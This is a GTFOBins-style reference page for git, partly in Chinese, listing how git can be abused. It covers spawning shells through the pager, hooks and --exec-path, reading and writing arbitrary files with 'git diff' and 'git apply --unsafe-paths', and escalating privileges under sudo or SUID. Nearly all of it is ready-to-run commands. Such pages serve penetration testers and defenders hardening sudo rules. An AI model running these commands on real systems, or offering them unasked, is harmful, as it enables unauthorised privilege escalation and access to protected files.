.. / git

shell

用来生成一个交互式的系统shell。

```
PAGER='sh -c "exec sh 0<&1"' git -p help
```
This invokes the default pager, which is likely to be [less](/gtfobins/less/), other functions may apply.
```
git help config
!/bin/sh
```
The help system can also be reached from any git command, e.g., git branch. This invokes the default pager, which is likely to be [less](/gtfobins/less/), other functions may apply.
```
git branch --help config
!/bin/sh
```
Git hooks are merely shell scripts and in the following example the hook associated to the pre-commit action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used and moving into the directory works too, i.e., instead of using the -C option.
```
TF=$(mktemp -d)
git init "$TF"
echo 'exec /bin/sh 0<&2 1>&2' >"$TF/.git/hooks/pre-commit.sample"
mv "$TF/.git/hooks/pre-commit.sample" "$TF/.git/hooks/pre-commit"
git -C "$TF" commit --allow-empty -m x
```
```
TF=$(mktemp -d)
ln -s /bin/sh "$TF/git-x"
git "--exec-path=$TF" x
```

file-read

从文件中读取数据。

The read file content is displayed in diff style output format.
```
LFILE=要读取的文件路径
git diff /dev/null $LFILE
```

file-write

将数据写入文件中。

The patch can be created locally by creating the file that will be written on the target using its absolute path, then git diff /dev/null /path/to/file >x.patch.
```
git apply --unsafe-paths --directory / x.patch
```

sudo

如果二进制文件被 sudo 允许以超级用户身份运行，可能被用于访问文件系统、提升或维持特权访问。

```
sudo PAGER='sh -c "exec sh 0<&1"' git -p help
```
This invokes the default pager, which is likely to be less, other functions may apply.
```
sudo git -p help config
!/bin/sh
```
The help system can also be reached from any git command, e.g., git branch. This invokes the default pager, which is likely to be less, other functions may apply.
```
sudo git branch --help config
!/bin/sh
```
Git hooks are merely shell scripts and in the following example the hook associated to the pre-commit action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used and moving into the directory works too, i.e., instead of using the -C option.
```
TF=$(mktemp -d)
git init "$TF"
echo 'exec /bin/sh 0<&2 1>&2' >"$TF/.git/hooks/pre-commit.sample"
mv "$TF/.git/hooks/pre-commit.sample" "$TF/.git/hooks/pre-commit"
sudo git -C "$TF" commit --allow-empty -m x
```
```
TF=$(mktemp -d)
ln -s /bin/sh "$TF/git-x"
sudo git "--exec-path=$TF" x
```

limited-suid

suid是一种授予文件的权限类型，它允许用户使用者以文件所有者的权限来执行文件。

PAGER='sh -c "exec sh 0<&1"' ./git -p help